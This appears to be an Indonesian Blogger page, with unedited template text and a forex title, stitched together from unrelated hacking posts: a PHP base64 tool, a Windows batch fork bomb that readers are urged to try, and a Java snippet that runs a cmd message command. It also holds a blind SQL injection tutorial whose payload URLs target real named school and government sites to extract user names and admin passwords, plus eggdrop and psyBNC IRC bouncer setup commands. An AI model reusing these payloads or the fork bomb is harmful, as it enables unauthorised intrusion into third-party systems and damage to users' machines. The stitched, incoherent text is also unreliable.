Forex Broker Untuk Pemula
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.
hari Ini saya mau share cara bikin enkripsi sendiri.. monggo di simak..yg males scripting lgs donlot di sini aja broo
<?php //*********************************************************************************************
//TITLE : Base64 Encoder / Decoder
//*********************************************************************************************
echo"<title>Base 64 Encode / Decode</title>";
echo"<div align=center>Base 64 Encode / Decode";
$Crut= stripslashes($_POST['c0de']);
if ($Crut == "")
{
$Crut = $_GET['c0de'];
}
$action = $_POST['action'];
if ($action == "")
{
$action = $_GET['action'];
if ($action == "encode"){
$action = "enc0de";
}
elseif ($action == "decode")
{
$action = "dec0de";
}
}
switch($action){
case "enc0de":
$output = base64_encode($Crut);
if(!$output){
echo 'Ada yang salah Crut!!!';
}
echo"<center><table width='380'><td>";
echo "<p> Input: " . $Crut . "</p>";
echo "<p> Output (Base64): " . $output ."</p>";
echo "<p><a href='javascript:history.back(0);'> << Back </a></p>";
break;
case "dec0de":
$output = base64_decode($Crut);
if(!$output){
echo 'Ada yang salah Crut!!!';
exit;
}
echo"<center><table width='380'><td>";
echo "<p> Input (Base64) : " . $Crut . "</p>";
echo "<p> Output : " . $output ."</p>";
echo "<p><a href='javascript:history.back(0);'> << Back </a></p>";
break;
default: echo '<form id="form1" name="form1" method="post" action="?encode/decode">
<p>
<textarea name="c0de" id="c0de" rows=8 cols=40 ></textarea>
</p>
<p>Pilih yang mau di cari</p>
<p><input type=radio name="action" id="action" value="enc0de">Encode</p>
<p><input type=radio name="action" id="action" value="dec0de">Decode</p>
<input type="submit" class = "button" name="submit" id="submit" onClick="
if(c0de.value==\'\'){alert(\'mana teksnya crut???\'); return false;}" value="Submit" />
<input type="reset" name="reset" class="button" value="Reset"/>
</p>
</form>';
break;
}
?>
Code: %0|%0 ketik code tersebut di notepad dengan nama terserah anda.bat (harus menggunakan ekstensi .bat) terus kalo yang berani silahkan di coba.. Saya sendiri sih pernah coba dan komputer/laptop anda akan bawel dengan muncul nya memory peringatan 0x? yang error setiap saat, akibat selanjut nya saya sendiri juga kurang tahuu,.. :)) import java.io.*;
public class ffaaddiill {
static String m = "cmd /C msg * shinobi_master_was_here";
public static void main(String []args)throws IOException {
ffaaddiill zombie = new ffaaddiill();
Runtime.getRuntime().exec(zombie.m);
}
}buat yg males nulis program nya.. monggo lgs sedot aja..
BLIND SQL INJECTION buat temen2 yg belum tau apa itu SQL-Injection bisa di baca2 dulu di sini.. monggoo
kembali lagi akh.. wkwkwkwk..
mari kita membahas tentang Blind SQL Injection..
Apa sich Blind SQL Injection tu?
Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...
disini GT memakai command :
mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter
lanjut..
ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita memakai blind,karena v4 tidak support query information_schema
kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw
lanjut...
Target: www.smanti.com (thx to bejamz udah ngasih target :)
1.PENGETESAN BUG
Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1
www.smanti.com/berita.php?id=5 and 1=0 <<<false
www.smanti.com/berita.php?id=5 and 1=1 <<<true
eh ternyata ada bug nya...
lanjut....
2.BLIND INJECT
Query yg dipakai: and mid(user(),1,1)=CHAR(65)
saya jelaskan sedikit deh..
mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut
sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...
lanjut..
mari kita masukkan
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)
ternyata hasilnya masih false (beritanya hilang)
berarti value yg kita masukkan salah..
tinggal tambah value na..jadi..
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<masih false juga..
dst sampe kita menemukan keadaan true(beritanya muncul kembali)
kebetulan ada di char(83)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <<akhirnya true..
cape?masih kuat?hahaha..trial n error...
lanjut..
kita tambain value na..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
adakah perbedaan nya?
yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..
gini nih..
1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)
dst.. sampe dpet yg true..
ternyata yg true ngumpet di value 77
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)
lanjutin trus langkah2na..
cari value k 3 user..
www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)
eh langsung ktemu..hehehe..
lanjut value k 4..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)
ternyata ktemu di value 78..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)
lanjut trus aja...
cape gw..
pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table
www.piclist.com/techref/ascii.htm
stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN
nah udah hampir ktebak user name nya..kerjain ndiri y..okey
nah..gmana kalo mw dapet password na?
kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..
jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)
cari lagi..sama kayak cari user tadi..harus sabar..
ulangi sampai dapat true ..
tambain value na..wkwkwkw..
dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password
.
metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)
akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...
okey sampe sini aja ah..cape ngetik..wkwkwkw
slamat mencoba..
buat latihan>> www.dkp.go.id/content.php?c=5161 (ingat woi, web negara inii wkwkwk)Smoga Bermanfaat..
2. Setelah itu di ekstrak filenya dengan menggunakan perintah tarsystrojan@inferno:~$ wget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop 1.6.18.tar.gz--06:16:05-- ftp://ftp.eggheads.org/pub/eggdrop/source/1.6 /eggdrop1.6.10.tar.gz=> `eggdrop1.6.10.tar.gz'Resolving ftp.eggheads.org... done. Connecting to ftp.eggheads.org[207.195.39.240]:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD /pub/eggdrop/source/1.6 ... done. ==> PORT ... done. ==> RETR eggdrop1.6.10.tar.gz ... done. Length: 893,527 (unauthoritative)100%[===================================== ================>] 893,527 470.65K/s ETA 00:00 06:16:07 (470.65 KB/s) - `eggdrop1.6.10.tar.gz' saved [893527] systrojan@inferno:~$
$ wget http://psybnc.net/psyBNC-2.3.2-7.tar.gz
$ tar -zxvf psyBNC-2.3.2-7.tar.gz
$ cd psybnc
$ make
$ vi psybnc.confmaka muncul seperti ini, tekan i untuk edit setelah edit selesai tekan tombol “esc” yang di pojok kiri atas tuh , untuk menyimpan tekan :wq
PSYBNC.SYSTEM.PORT1=31337 #<— ganti dengan port yang kamu inginkan misalnya 17485
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
$ ./psybnc
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,—-.,—-.,-. ,-.,—.,–. ,-.,—-.
| O || ,-’ \ \/ / | o || \| || ,–’
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.3.2-7 (c) 1999-2003
the most psychoid
and the cool lam3rz Group IRCnet
`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-’
Configuration File: psybnc.conf
Language File: psyBNC Language File – English
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 17485
psyBNC2.3.2-7-cBtITLdDMSNp started (PID 22774)
